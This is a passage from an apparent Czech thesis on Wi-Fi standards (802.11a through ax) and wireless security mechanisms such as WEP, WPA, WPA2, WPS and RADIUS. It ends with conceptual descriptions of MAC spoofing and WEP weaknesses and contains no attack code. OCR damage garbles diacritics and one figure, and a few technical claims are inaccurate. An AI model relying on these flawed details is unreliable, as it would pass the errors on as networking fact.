pristupového bodu. Obecné je Wi-Fi router zarizeni s vlastnim napajenim, které
prijima a vysila data.

Zarizeni pro provoz bezdratové sité vyuziva rtzné typy antén pro rizné pouziti.
Existuji tfi druhy antén a to konkrétné smérova, sektorova a vSesmérova anténa.
Smérové antény vysilaji jen do jednoho bodu a vyuzivaji se pro prenos signalu
na dlouhé vzdalenosti. Sektorové antény vysilaji signal do urcitého sektoru. Signal
se $ifi do urcitého uhlu, napriklad 180, 90 nebo 60 stupini. Posledni a nejcastéji
vyuzivané antény jsou vSesmérové. VSesmérové antény vysilaji signal do vSech stran
pod thlem 360 stupnili. SlouZi k pokryti menSich oblasti celistvym signalem. Jednou
z hlavnich vlastnosti je zisk antén a jednotkou je decibel na isotrop (dBi).

Nezbytna komponenta, aby se mohly stanice pripojit k bezdratové siti, je Wi-Fi
sitova karta. Wi-Fi sitova karta funguje na stejném principu jako normalni sitova

karta s rozdilem, Ze nevyuZiva sitové kabely, ale pracuje bezdratoveé. [11]

3.7 CTU - Cesky telekomunikaéni ufad

Cesky telekomunikaéni urad sidli v Praze a byl zfizen zakonem o elektronickych
komunikacich ke dni 1. kvétna 2005. Jedna se ustfedni spravni urad pro vykon statni
spravy ve vécech stanovenym zakonem. Cesky telekomunikaé¢ni tifad také provadi
regulaci trhu a stanovovani podminek pro podnikdni v oblasti elektronickych
komunikaci. CTU rozhoduje také o frekvenénich pasmech v Ceské republice,
respektive, ktera pasma jsou licencovana a kterad nejsou nelicencovana. [12]

CTU je ¢lenem mezinarodni telekomunikaéni unie ITU, neboli International
Telecommunication Union. ITU je specializovanou agenturou OSN pro rozvoj

a podporu informacnich a komunikacnich technologii. [13]
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4 Standard 802.11

Standard 802.11 patfi dnes mezi nejrozsifenéjsi normy pro bezdratové sité.
NezZ byla definovana norma pro bezdratové sité IEEE 802.11, byla zapotrebi zarizeni
od stejného vyrobce pro vytvoreni bezdratové sité. Jednotlivi vyrobci pouzivali
své vlastni normy a to branilo vétSimu rozsifeni bezdratovych siti. To byl také
diivod, pro¢ organizace IEEE zacala vroce 1990 pracovat na normé, kterd by
umoznila, aby zarizeni od riznych vyrobcti mohla spolupracovat. Diky tomu vznikla
vroce 1997 norma IEEE 802.11. Norma 802.11 vyuzivala pasmo od 2,4
do 2,4835 GHz a maximalni prenosova rychlost byla 2Mbit/s. Rychlost vsak nebyla
dostacujici a proto doslo na rozdéleni vyvoje na dvé skupiny. Jedna skupina
pracovala na zvySeni rychlosti na frekvenénim pasmu 5Ghz a druha skupina dale
experimentovala na frekven¢nim pasmu 2,4Ghz.

Z téchto dvou skupin vznikly prvni dopliky pro standard 802.11. Doplnék IEEE
802.11a a doplnék IEEE 802.11b. Béhem nékolika let vznikly dalS$i dodatky
a doplnky k pivodni normé IEEE 802.11 a stadle vznikaji dalsi. Nové dodatky se
zabyvaji napriklad dal$im nartistem rychlosti, podporou kvality sluZeb nebo lepSim

zabezpecenim. [14]

802.11af

——

802.11ad

) EE \

{ Tablet 60GHz TV

54 to 790 MHz

Obr. 3 Piehled frekvenci standardii 802.11, [15]
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4.1 802.11a

Doplnék 802.11a, ktery byl schvalen vroce 1999, specifikoval standard v nové
uvolnéném bezlicencnim pasmu 5 GHz. Vtomto pasmu bylo vysilani dlouho
zakazano. 802.11a nabizi daleko vys$si maximalni prenosovou rychlost - azZ 54Mb/s.
Redlna uzivatelska rychlost je zhruba 25 Mb/s [16]

Pro dosaZeni této rychlosti se poprvé v paketovych komunikacich pouziva
ortogonalni multiplex s kmitoCtovym délenim, neboli OFDM, ktery se pouZival
pouze pro systémy na distribuci digitalniho zvuku a videa. [17]

Ortogonalni multiplex s kmitoCtovym délenim, neboli OFDM, je Sirokopasmova
modulace vyuZivajici kmitoCtového déleni kanalu. Hlavnim znakem OFDM je
ortogonalita jednotlivych nosnych kmitoctl a z toho plyne vyssi spektralni u¢innost
modulace. [18]

Diky velké Sifce pasma 5 GHz a faktu, Ze je pAsmo mnohem méné vytizené oproti
pasmu 2,4 GHz, je mozné vyuzivat vice kanalli, aniZ by doslo kjejich prekryti.
Frekven¢ni pasmo mize poskytnout az 8 neprekryvajicich se kanald.

Je vhodné také podotknout, Ze rozdilna pasma (5 GHz a 2,4 GHz) znemoznuji

spolupraci standardu 802.11a a standardu 802.11b. [16]

4.2 802.11b

Odpovédi na nizkou prenosovou rychlost v pAsmu 2,4 GHz byl v roce 1999 standard
802.11b. Diky implementaci v pasmu 2,4 GHz se zrodil standard 802.11b o néco
drive nez standard 802.11a. Tento standard nabizi maximalni pfenosovou rychlost
az 11 MB/s. Realna uzivatelska rychlost je zhruba 6 Mb/s. [16]

Prenosova rychlost se dynamicky méni v zavislosti na momentalni rusivosti
prostredi - 11 Mb/s, 5,5 Mb/s, 2 Mb/s nebo 1 Mb/s.

Pro dosazeni nové vyssi rychlosti pouziva odlisny zptisob kddovani, tzv. doplnkové
kodové klicovani, neboli CCK s pouZitim DSSS na fyzické vrstvé. [14]

Frekvenc¢ni pasmo miiZze poskytnout az 14 kanald a 3 neprekryvajici se. Zalezi vsak
na legislativé dané zemé, kde se tento standard pouziva. [19]

Ve standardu 802.11b neni zajiSténo odpovidajici zabezpeceni prenosu, které resi
dalSi normy. Dale potom neni zajiSténa kvalita sluzeb - QoS. Totéz plati

i pro standard 802.11a.
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Vyraz 802.11b+ znaci, Ze zatizeni podporuje paketové binarni konvoluéni kédovani
PBCC. [16]

Texas Instruments priSla s nestandardnim reSenim 802.11b+ vyuzivajici PBCC
ve snaze zvySit maximalni prenosovou rychlost standardu 802.11b aZ na 22 Mb/s.
PBCC je metoda dopredné opravy chyb, ktera umoznuje zredukovat chybovy datovy
tok, aniz by doSlo ke zvySeni vysilaciho vykonu. V realné situaci to tedy znamena, Ze
802.11b+ miize ziskat vyssi rychlost prenosu, pti pouziti stejného vysilaciho vykonu

jako standard 802.11b. [20]

4.3 802.11g

V roce 2003 standard 802.11g slucuje to nejlepsi ze standardti 802.11a a 802.11b.
Je zarucena kompatibilita se standardem 802.11b a zaroven prebira pokrocilejsi
modulacni a kédovaci techniky ze standardu 802.11a. [19]

Standard 802.11g pracuje v pAsmu 2,4 GHz (stejné jako 802.11b) a nabizi maximalni
pirenosovou rychlost az 54 Mb/s. Redlna uzivatelska rychlost je zhruba 22 Mb/s.
Na fyzické vrstvé probihda komunikace s vyuzitim ortogonalniho multiplexu
s kmitoctovym délenim - OFDM, ale pii komunikaci se zarizenim podporujicim
standard 802.11b se kviili kompatibilité vyuziva technologie DSSS. Diky tomuto
reseni miiZzou koexistovat klienti se standardem 802.11a a 802.11b v jedné siti.
Dilezité je také zminit, Ze sit 802.11g bez klienti 802.11b bude mit daleko vyssi
vykon v zavislosti na poctu uzivatell piipojenych k siti. Pokud v siti nejsou klienti

802.11b, je vykonost sité 802.11g prakticky stejna s vykonosti sité 802.11a. [16]

4.4 802.11n

Standard 802.11n zkoumal moznosti nastaveni parametri fyzické vrstvy a cast
linkové podvrstvy pro zvySeni datové propustnosti, respektive navyseni rychlosti
pres 100 Mb/s. Mezi tyto moZnosti patii pouZiti vice antén - MIMO. [14]

Multiple-Input Multiple-Output je bezdratova technologie, kterd vyuziva vice
prijimact a vysilact pro pienos dat v jednom okamziku. Jedna se o multi-anténni
komunikacni systém. V dilisledku pouziti vice antén je bezdratova technologie MIMO

schopna zvysit kapacitu daného kanalu.

16



Pokud datovy tok patii pouze jednomu uZivateli, jedna o Single User MIMO,
respektive SU-MIMO. Pro datovy tok, ktery je rozdélen mezi vice uzivatell, se
vyuziva technologie Multi User MIMO, respektive MU-MIMO. [21]

Standard 802.11n pracuje v pasmu 2,4 GHz a 5 GHz. Nabizi maximalni prenosovou
rychlost az 600 Mb/s. [22]

Standard 802.11n vyuziva SU-MIMO na rozdil od jeho nastupce 802.11ac Wave 2,
ktery umi i MU-MIMO. [23]

45 802.11ac

Standard 802.11ac predstavuje vyznamny nartist vykonu, i pires uspésny standard
802.11n. Standard 802.11ac reaguje na ménici se podminky uZiti bezdratovych
technologii - vyuzivani Wi-Fi jako primarni sit pri kaZdodennich cinnostech.
802.11ac umoziuje vyuZziti teoretické maximalni rychlosti az 6,9 Gb/s v pasmu
5 GHz. Tedy 11,5x rychlejsi nez standard 802.11n. [23]

Standard 802.11ac pracuje pouze v 5 GHz pasmu - v soucasné dobé mnohem mensi
potencial ruseni. Na rozdil od 802.11n, ktery plisobi v pasmu 5 GHz i 2,4 GHz.
Oficialni pracovni nazev pro 802.11acje ,VylepSeni pro velmi vysokou propustnost”
pro WLAN provoz v pasmu pod 6 GHz, a je také neformalné oznacCovan jako
"Gigabit Wi-Fi" nebo "5G Wi-Fi". [24]

Standard 802.11ac vySel na trh ve dvou vinach - 802.11ac Wave 1 a 802.11ac
Wave 2. [23]

4.5.1 802.11ac Wave 1

Jedna se o prvni verzi standardu 802.11ac.

802.11ac Wave 1 dosahuje maximalni prenosové rychlosti az 1.3 Gb/s v pasmu
5 GHz. Jedna se o pifimého naslednika 802.11n a vyuZiva stejny SU-MIMO. Siika
kanalu byla oproti 802.11n zvétSena aZ na 80 MHz. [23]

4.5.2 802.11ac Wave 2

Dodatek 802.11ac Wave 2 podporuje MU-MIMO, oproti SU-MIMO u 802.11ac

Wave 1. Doslo k navySeni maximalni prenosové rychlosti az na 3.47 Gb/s v pasmu
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5 GHz. Sifka kanalu byla opét navy$ena na dvojnasobek - az 160 MHz. Dodatek
802.11ac Wave 2 je stale ve vyvoji, aby se pribliZil standardu 802.11ac. [23]

4.6 802.11ad

V roce 2009 vznikl standard 802.11ad s kratkym dosahem, téZ zvany WiGig.

WiGig podle sdruzeni Wireless Gigabit Alliance, ktera spolupracuje s Wi-Fi alianci
pti certifikaci produktt.

Standard 802.11ad podporuje maximalni prenosovou rychlost az 7 Gb/s
v nelicencovaném pasmu 60 GHz. Vysilani v tomto pasmu se hodi pro sité malého
dosahu, protoZe radiové viny o takto vysoké frekvenci maji malou schopnost
pronikat zdmi. Také nastava utlum signalu diky velké absorpci elektromagnetické
energie. Tato vlastnost je zplisobena vlastnostmi molekul kysliku pti takto vysoké
frekvenci.

Bezdratova sit' s malym dosahem je vhodna napiiklad pro dokovaci stanice nebo
pirenos videa o vysokém rozliseni. [25]

Typicka vzdalenost pro pouziti standardu 802.11ad je 1 az 10 metri. [26]

4.7 802.11ah

Standard 802.11ah je presny opak standardu 802.11ad, vyuziva naopak kratkou
frekvenci. 802.11ah vysila v nelicencovaném pasmu 900 MHz. Radiové viny
s kratkou frekvenci snadno pronikaji zdmi, bohuzel za cenu niz$i maximalni
prenosové rychlosti - od 100 Kb/s do 40 Mb/s.

Tento novy standard se prevazné hodi pro Cidla nebo senzory v systémech jako

napriklad inteligentni domacnost nebo pro rtizné protokoly pro IoT. [25]

4.8 802.11af

Standard 802.11af, také znamy jako White-Fi, ktery operuje v takzvaném televiznim
bilém spektru v pAsmu mezi 54 azZ 790 MHz pomoci kognitivni radiové technologie.
White-Fi je termin, ktery popisuje pouziti technologie Wi-Fi v ramci televizniho
nevyuzitého spektra. Zaroven vsak pri pouzivani 802.11af nebo systému jako

White-Fi nesmi dochazet k ruSeni primarniho uZivatele spektra.
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Diky Wi-Fi s nizkou spotfebou je mozné pouzit nevyuZité spektrum, aniz by doslo
k ruseni oblasti pokryté televiznim vysilanim.

Standard 802.11af je stale ve vyvoji, respektive teprve probiha realizacni faze. [27]
Vtomto pasmu operuje mnoho dalsich sluZeb, v Ceské republice naptiklad

bezdratové mistni informacni systémy a mnoho dalSich systémii a zarizeni. [3]

49 802.11ax

Standard 802.11ax je jeSté ve vyvoji a predpoklada se, Ze nebude jesté néjakou dobu
k dispozici. Prvni navrh standardu by se mél objevit v roce 2016.

Standard 802.11ax je primy nastupce standardu 802.11ac a mél by poskytovat az
ctyrikrat vyssi maximalni prenosovou rychlost oproti predchtlidci. Podle Huawei,
OFDA, ktery je zaloZen na bazi OFDM systému, rozSifuje spektralni ucinnost
dokonce desetkrat oproti predchidci, ale v redlném prostiedi je pravdépodobné, Ze
to bude ponékud méné, spise pravé ctyrikrat oproti 802.11ac.

Jedna z klicovych otazek, které si 802.11ax klade za cil vyresit, je vzajemné ruSeni
mezi riznymi pristupovymi body. V husté pokrytych oblastech tento problém
vyrazné zpomaluje sit. VyreSenim tohoto problému bude mit velky dopad
na realnou propustnost.

Momentalné se predpoklada, Zze 802.11ax bude operovat v pasmu 2,4 a 5 GHz. [28]

4.10 Dodatky 802.11

Plvodni standard 802.11 z roku 1997 byl rozsifen o dalsi dodatky. Kromé vyse
vypsanych je zde mnoho dalSich a nové dale vznikaji. Zde je stru¢ny piehled
zakladnich dodatka 802.11:

802.11c - Definuje mosty mezi pristupovymi body.

802.11d - Mezinarodni rozsifeni roamingu.

802.11e - QoS vylepseni.

802.11F - Sada nepovinnych doporuceni definujicich IAPP pro spolupraci
pristupovych bodi. Tento navrh byl stazen v roce 2006.

802.11h - Dynamicky vybér regulace vysilaciho vykonu - TPC a frekvence - DFS.
802.11i - Zabezpeclovaci a ovérovaci mechanismy - WPA,WPA2, RSN, AES, TKIP.

802.11j - Zména specifikaci, které umoznuji pouziti pasma 4,9 GHz v Japonsku.
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802.11k - Definuje radiové tizeni.

802.111 - Rezervovan a nebude pouZit.

802.11m - Sprava a revize standardu.

802.110 - Rezervovan a nebude pouZit.

802.11p - Definuje bezdratovy pristup pro sanitky nebo jind vysokorychlostni
vozidla a silni¢ni infrastrukturu v pasmu 5,9 GHz.

802.11q - Nepouziva se, aby nedoslo k zaméné s 802.1Q.

802.11r - ReSeni pro rychlé presuny mezi pristupovymi body - roaming
i pro vozidla v pohybu.

802.11s - Standardizovani spletitych siti.

802.11T - SdruzZeni doporucenych postupli pro testovani a meéreni vykonu
v bezdratovych sitich.

802.11u - Spoluprace s externi siti mimo 802.11 standard.

802.11v - Konfigurace sité - konfigurace klientd, zatimco jsou ptipojeni k siti.
802.11w - Chranéné servisni ramce. Doplnék k 802.11i pro spravu zabezpeceni.
802.11x - NepouZziva se, aby nedoslo k zaméné s 802.1x.

802.11y - Umoziuje provoz v pasmu 3650 az 3700 MHz (s licenci) - vys$si vykon
a delsi rozsahy.

802.11z - DLS umoZniuje dvéma stanicim komunikovat pifimo spolu.

[29]
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5 Zabezpecéeni bezdratovych siti

Zabezpecovani bezdratovych siti je velmi opomijeny aspekt. VZdy je vhodné alespon
néjakym zplsobem bezdratovou sit zabezpecit. Oteviené, nebo jen defaultné
nastavené, bezdratové sité Wi-Fi se daji velmi lehce odposlechnout a tim tedy
odposlechnout i osobni citlivd data, v¢etné prihlasSovacich ddajii do emailu nebo
internetového bankovnictvi.

PocitaCové sité by méli byt zabezpeceny podle typu uziti dané sité. Podnikové
rozsahlé pocitacové sité budou mit jiné poZadavky na zabezpeceni neZ domaci
bezdratova sit. V kazdé pocitacové siti by vSak méli byt alespon implementovany

zasady elementarniho zabezpeceni. [30]

5.1 Zabezpedeni bezdratovych siti v Ceské republice

Dle statistiky Wifileaks je stale v roce 2016 zhruba 3,21 % bezdratovych siti zcela
nezabezpeCenych, coZ je 68276 nechranénych bezdratovych siti. DalSich
cca 18,03 % vyuZiva zastaralé a davno prolomené zabezpeceni WEP. Tedy 383 337
bezdratovych siti je velmi $patné chranéno. WPA v Ceské republice stale vyuZiva
cca 16,5 % bezdratovych siti, tedy 350 825 siti. Zhruba 51,38 % bezdratovych siti
vyuziva nejnovéjsi zabezpeCeni WPA2, coZ je cca 1092 253 bezdratovych siti.

Zbylych cca 10,87 % bezdratovych siti vyuziva jiné zabezpeceni. [31]

5.2 Autentizace

Cilem autentizace je ovérit, Ze klient je skutec¢né tim, ¢im tvrdi, Ze je. U bezdratovych
siti je autentizace velmi diilezita, protoze na rozdil od kabelovych siti, zde i ostatni
stanice mohou vidét na pristupovy bod a mohou se i pokusit ptihlasit do sité.
Autentizace nastava ihned po autentifikaci stanice k bezdratovému pristupovému
bodu. Autentizace ve Wi-Fi bezdratovych siti je jednosmérny proces. Stanice si musi
bezdratovy pristupovy bod o autentizaci pozadat, ale bezdratovy pristupovy bod se
vUci stanici autentizovat nemusi. Pravé diky tomu Ize aplikovat itok na bezdratovou
sit Man-in-the-middle.

Pro autentizaci stanic do bezdratové sité existuji dvé metody definované

standardem 802.11. Témi jsou Open System a Shared Key. [6]
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5.2.1 Open System

Jedna se o zakladni metodu autentizace pro pristup stanice k bezdratové siti Wi-Fi
podle standardu 802.11. Pro pripojeni k bezdratové siti Wi-Fi je zapotrebi pouze
znat SSID, neboli identifikator bezdratové sité. Pokud stanice zaslala spravné SSID
a ohlasila se bezdratovému pristupovému bodu, tak bezdratovy pristupovy bod
stanici pripoji, aniZ by informace ovéroval.

Tato metoda nijak neprispiva k zabezpeceni bezdratové sité, protoze standardné
bezdratové pristupové body vysilaji své SSID, aby stanice v okoli védély, Ze je

dostupna bezdratova sit.

5.2.2 Shared Key

Autentizace pomoci Shared Key, neboli sdileného Kklice, je vyspélejsi technika rizeni
pristupu k bezdratovym sitim Wi-Fi oproti Open System metodé. Hlavni prvkem
Shared Key autentizace je sdileny kli¢, ktery je zndm vSem zarizenim v siti.

Stanice, ktera se chce pripojit do bezdratové sité Wi-Fi se prokaZe sdilenym klicem,
ktery bezdratovy pristupovy bod ovéri a pripadné poté stanici umozni se pripojit
do bezdratové sité Wi-Fi.

Ovéreni probiha nasledovné:

1. Stanice zaSle pozadavek na pristup do bezdratové sité Wi-Fi

2. Bezdratovy pristupovy bod vygeneruje nahodné ¢islo a posle ho stanici

3. Stanice vygenerované Cislo zasifruje RC4 algoritmem podle sdileného klice
a poté odesle zpét bezdratovému pristupovému bodu

4. Bezdratovy pristupovy bod zpravu dekdéduje, a pokud se cislo shoduje
s plivodnim c¢islem, bezdratovy pristupovy bod zaSle stanici potvrzeni

0 Uspésné autentizaci

Pokud autentizace proSla uspésné, znamena to, Ze stanice i bezdratovy pristupovy

bod vlastni stejny sdileny KIic. [6]

5.3 Skryti SSID

Vypnuti vysilani SSID zvysi zabezpeceni sité, ale nejedna se o Zadnou ochranu

pred pripojenim do bezdratové sité. Existuji totiZ dostupné nastroje, které i tak SSID
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zjisti, i kdyZ bezdratovy pristupovy bod nezasila SSID automaticky. A poté se miiZe

stanice i pres skryté SSID do bezdratové sité pripojit.

5.4 Filtrovani MAC adres

MAC adresa je jedine¢na adresa kazdého zarizeni v siti a je zadana od vyrobce
zarizeni. VétSina bezdratovych pristupovych bodl umoziuji vytvorit seznam
povolenych nebo zakazanych MAC adres pro pristup k bezdratové siti. U seznamu
s povolenymi MAC adresami musi byt stanice, respektive jeji MAC adresa,
na seznamu aby se dostala do bezdratové sité. U seznamu zakazanych MAC adres to
funguje presné opacné. Pokud je MAC adresa zarizeni na seznamu, bezdratovy
pristupovy bod ji neumozni pristup do bezdratové sité. [6]

Je diilezité zminit, Ze MAC adresa je sice dana od vyrobce zarizeni, ale lze ji zménit.
Zkuseny utoc¢nik tedy miize odposlouchat komunikaci mezi stanici a bezdratovym
piistupovym bodem a poté si zménit MAC adresu na MAC adresu, o které vi, Ze ma
do bezdratové sité pristup.

Toto feSeni je tedy vhodné pouze u siti s obCasnym provozem, jelikoz je zde tézsi
odposlechnout komunikaci nebo pokud chceme zamezit urcitym zarizenim piistup
do bezdratové sité. [4]

mnohem téz8i zachytit komunikaci, nez pouze zménit MAC adresu, tak aby

neodpovidala seznamu zakdzanych MAC adres. [6]

5.5 WEP

Zabezpeceni WEP, neboli Wired Equivalent Privacy, bylo vydano v roce 1997 jako
vychozi Sifrovaci protokol pro standard 802.11. K Sifrovani se vyuziva algoritmus
RC4 sklicem o délce 40 nebo 104 bitG a inicializacni vektor o délce 24 bitd.
Pro ovéreni integrity dat slouzi metoda CRC-32.

WEP byl uz v dobé svého vzniku zastaraly a zranitelny. UZ v roce 1995 byla popsana
zranitelnost RC4 algoritmu. V roce 2000 pak byla publikovana prace o zranitelnosti
protokolu WEP. V roce 2002 bylo pripusténé, Ze zabezpeceni WEP se hodi pouze

pro domaci uzivatelé, kteri nevyzaduji velkou miru zabezpecenti. [32]
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5.5.1 Sifrovani

WEP Sifruje data pomoci sloZeného klice, ktery je 64 nebo 128 bitovy. Tento KIic je
sloZen ze sdileného klice a inicializacniho vektoru.

Z nezaSifrovaného textu se pomoci CRC-32 spocitd kontrolni soucet slouzici
pro ovéfeni integrity a pripoji se za pfenasenou zpravu. Sifrovaci sloZeny kli¢ se
vypocita pomoci RC4 a kombinace sdileného klice a inicializa¢cniho vektoru.
Sifrovaci kli¢ musi mit stejnou velikost jako piena$end zprava a kontrolni soucet
dohromady. Poté se provede logicky XOR mezi pfenasenou zpravou a Sifrovacim
klicem. Kvysledku se jesSté pripoji inicializacni vektor, ktery je potieba

pro desSifrovani prenasené zpravy. [32]

5.5.2 RC4

Proudovy kryptograficky algoritmus RC4 byl vytvoren v roce 1987 pro spolefnost
RSA. Jedna z vyhod této Sifrovaci metody je rychlost, udava se, Ze je az desetkrat
rychlejsi nez Sifra DES. To je také jeden zdlvodd, pro¢ je tato Sifra vhodna
pro Sifrovani komunikace v realném case. [ kdyZ tato Sifrovaci technika ma urcité
slabiny, implementace této Sifry v zabezpeceni WEP byla nevhodné provedena,
protoZe porusuje nejdulezitéjsi pravidlo této Sifrovaci techniky a to nutnost

dodrZeni unikatnosti inicializatniho vektoru. [32]

5.5.3 Inicializac¢ni vektor

Inicializa¢ni vektor o délce 24 bitl slouzi spolu se sdilenym klicem k Sifrovani
pomoci Sifrovaci techniky RC4. Pravé pouziti inicializacniho vektoru snizuje
stati¢nost Sifrovani u zabezpeceni WEP. Jednim ze zakladnich poZadavki Sifrovaci
techniky RC4 je unikatnost inicializa¢niho vektoru. BohuZel v ndvrhu WEP neni
specifikovano, jak se ma inicializacni vektor generovat, coZ je povazovano
za ohromnou chybu. Také se ukdazalo, Ze délka inicializacniho vektoru neni
dostatecna. Po nékolika hodinach ve stredné vytiZené bezdratové siti dochazi
k vyCerpani vSech unikatnich moznosti a nékteré inicializa¢ni vektory se tedy musi
pouzit znovu. Tim se ale porusi zakladni poZadavek na Sifru RC4 a to unikatnost

inicializa¢niho vektoru. [32]
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5.5.4 CRC-32

Algoritmus CRC-32 je specialni haSovaci funkce, pouZivana pro kontrolu integrity
dat v zabezpecCeni WEP. Konkrétné se jedna o cyklicky redundantni soucet.

BohuZel pro WEP ani tento algoritmus neni zcela u€inny. ProtoZe vhodnou zaménou
urcitych bitli je moZné zménit datagram takovym zplisobem, Ze kontrolni soucet
bude totoZny a bezdratovy pristupovy bod ho prijme jako platny. Tato metoda se da

vyuzit i jako utok na bezdratovou sit zabezpecenou pomoci protokolu WEP. [32]

5.6 WPA

Pro vyreSeni problémi se zabezpecenim WEP zacalo IEEE pracovat na standardu
802.11i. Vzhledem k situaci prolomeni zabezpeceni WEP bylo potieba vydat co
nejrychleji nové zabezpeceni. Standard 802.11i nebyl jesté hotovy a tak bylo
rozhodnuto, Ze bude navrh standardu 802.11i rozdélen. Zabezpeceni WPA vychazi
z Casti ze standardu 802.11i a diky tomu je dopiedné kompatibilni s timto
standardem. WPA mélo také podobné hardwarové pozadavky jako WEP a diky tomu
stacil pouze softwarovy upgrade. Zabezpeceni WPA je ve své podstaté nadstavbou

protokolu WEP, které odstranuje hlavni nedostatky zabezpeceni WEP. [32] [33]

5.6.1 Autentizace PSK, RADIUS + 802.1x

Pro domaci pouZiti, nebo pro pouZiti v mensi siti s nedostate¢nou infrastrukturou,
se hodi WPA-PSK, respektive WPA s predsdilenym klicem. PSK, neboli Pre-Shared
Key, je sdilena tajna hodnota, ktera se musi nachazet na vSech zarizeni v siti. Tato
hodnota sdileného klice je pouzita jako vychozi hodnota pro TKIP.

U bezdratovych siti s autentizacnim serverem, typicky RADIUS, se vice hodi pouziti

protokolu 802.1x, ktery resi autentizaci a management kli¢i. [32]

5.6.2 TKIP

Protokol TKIP, neboli Temporal Key Integrity Protocol, vyuZziva dynamické
generovani Kklich a obsahuje Kkontrolu integrity dat MIC. Zabranuje také
opakovanému vyuziti inicializa¢niho vektoru pomoci ¢islovani jednotlivych pakett.

Pro kazdy paket protokol TKIP méni dynamicky kli¢ a tak je mnohem téZsi kli¢

vivs
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5.6.3 MIC

Funkce MIC, neboli Messege Integrity Code, respektive Messege Authentication
Code, je funkce, ktera zajiStuje integritu dat. Na zajisténi integrity vyuziva funkce
MIC algoritmus Michael. Funkce MIC ma oproti ICV, pouzitého u zabezpeceni WEP,
dvojnasobnou délku. Pro zajiSténi integrity se pridava ke kazdému ramci digitalni
podpis. Tento digitalni podpis je poclitan z datové ¢asti ramce, cilové a zdrojové MAC
adresy, poradového Cisla paketu a ndhodné hodnoty.

Pokud se objevi kolize funkce MIC, jednd se velmi pravdépodobné o utok
na bezdratovou sit. Pri odhaleni tohoto Utoku na bezdratovou sit se okamzité

zacnou pouZzivat nové Klice. [32] [33]

5.7 WPA2

Standard 802.11i, neboli WPA2, byl schvalen v roce 2004 a oficidlné nahradil WEP.
Zabezpeceni WPA2 vyuziva blokovou Sifru AES, ale zaroven je zde ponechana
moznost vyuziti TKIP kviili zpétné slucitelnosti s WPA.

Tato nova architektura pro bezdratové sité je oznacovana jako RSN, neboli

Robust Security Network. [32]

5.7.1 Autentizace

Pro autentizaci a vyménu kli¢i je u standardu 802.11i urceny ¢tyt cestny handshake
pomoci EAPOL, neboli EAP over LAN, ktery definuje standard 802.1x, zaloZeny
na EAP. Pro autentizaci u WPA2 se také vyuziva hierarchie klict. [33]

Autentizace u WPA2 je mozn4, stejné jako u WPA, podle standardu 802.1x nebo
pomoci PSK, neboli Pre-shared Key. [32]

5.7.2 AES

WPAZ2 vyuZiva blokovou Sifru AES, neboli Advanced Encryption Standard, na rozdil
od WPA a WEP, kteri vyuZivaji proudovou Sifru RC4. AES Sifruje symetrickym klicem
bloky o velikosti 128 bitl. AES pouziva algoritmus Rijndael, ktery vychazi
z kryptosystému Square. Vyhodou tohoto algoritmu je jeho rychlost a snadna

implementace.
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U WPA2 je AES vyuzit v ¢itatovém rezimu s protokolem CCMP. Citacovy reZim
zajiStuje Sifrovani a CCMP integritu dat. [32]

5.7.3 CCMP

WPAZ2 zajiStuje integritu dat pomoci protokolu CCMP, neboli Counter Cipher Mode
with Block Chaining Message Authentication Code Protocol. CCMP obsahuje také
algoritmus MIC na kontrolu integrity. [32]

Pouziva 128 bitovy AES na Sifrovani komunikace. Pouzita Sifra je dohodnuta béhem
vymény AEPOL paketi. I kdyZ je pouZit jen jeden kli¢ k Sifrovan{ a algoritmus MIC,
je stale CCMP povaZovan za bezpecny, respektive bezpecny jako pouzita Sifra AES.

[33]

5.8 802.1x

Standard 802.1x umoznuje zabezpecit pristup do pocitacové sité, at' uz bezdratové,
tak i kabelové. Tento standard byl navrZen pro fizeni pfistupu do urcitych segmentii
dané pocitacové sité. Standard 802.1x je zaloZen na protokolu EAP a zahrnuje
distribuci kli¢d, integritu dat a také vzajemnou autentizaci. V zavislosti na pouzité
autentizatni metodé, standard 802.1x autentizuje samotného uZzivatele a ne pouze
stanici pti pristupu do pocitacové sité. Mezi nejznaméjsi autentizacni metody patri

napriklad EAP-MDS5, LEAP nebo PEAP. [32]

5.9 WPS

WPS, neboli Wi-fi Protected Setup, je technologie, ktera byla navrzena, aby bylo
zabezpeceni bezdratové sité co nejjednodussi, tedy pomoci stisknuti jednoho
tlacitka. Technologii WPS je vybavena vétSina bezdratovych pristupovych bodi.
WPS tedy umoZnuje snadnou konfiguraci zabezpeceni WPA/WPA2 pro bézné
uzivatele. Po stisknuti tlacitka a zadani PIN kédu dojde k automatické konfiguraci
bez nutnosti manualniho nastaveni uzivatelem. PIN kdd je osmimistny ciselny kdd,
ktery je dan vyrobcem pristupového bodu a nelze tento PIN zménit. PIN kéd se také

nachazi vytiStén na Stitku zespod bezdratového pristupového bodu. [11]
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5.10 RADIUS

Protokol RADIUS, neboli Remote Authentication Dial In User Service, umoznuje
vzdalenou autentizaci. RADIUS server slouzi v pocitacové siti jako autentizacni
autorita, na které dochazi k autentizaci. Také je zde feSena sprava dat, ktera jsou
potirebna k této autentizaci. Veskera komunikace mezi klientem a RADIUS serverem
je Sifrovana. RADIUS server diky vzdalené autentizaci zvySuje bezpecnost celé sité.

[32]
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6 Bezpeénostni problémy

Standard 802.11 ma nékolik bezpecnostnich problémi. Nejvice jich vSak vznika

Spatnou nebo nedostatecnou konfiguraci bezdratové sité.

6.1 MAC spoofing

MAC spoofing, neboli podvrzeni MAC adresy, je utok, kde se sitové zarizeni vydava
za jiné sitové zarizeni, vétSinou takové, které ma pristup do dané pocitacové sité.
MAC spoofing se da vyuZit u bezdratové sité, kde je pouzita filtrace MAC adres, nebo
jako soucast komplexnéjsiho utoku, napriklad Man-in-the-middle nebo WEP
cracking.

Uto¢nik pii pokusu o podvrzeni MAC adresy zméni MAC adresu svého sitového
zarizeni tak, aby odpovidala MAC adrese zarizeni, ktera ma pristup do pocitacové
sité, respektive tato MAC adresa se nachazi na seznamu povolenych MAC adres,
nebo se nenachdazi na seznamu zakazanych MAC adres.

[ kdyZ je MAC adresa ddna vyrobcem sitového zarizeni a nelze ji zménit, tak lze
zménit v operacnim systému, ktery si MAC adresu prevzal z firmwaru sitového
zarizeni. NejjednodusSim reSenim je pouZit specidlni software, ktery vyhleda
v paméti nebo v registrech hodnotu aktualni MAC adresy a provede zménu na jinou

pozadovanou MAC adresu. [6]

6.2 WEP cracking

WEP cracking je prolamovani bezdratové sité, ktera vyuziva zabezpeceni WEP. WEP
je nejstarsi zabezpeceni standardu 802.11 a diky dnes znamym nedostatklim neni
tézké toto zabezpeceni prolomit. Existuje nékolik druht titokl na bezdratovou sit
zabezpecenou pomoci WEP.

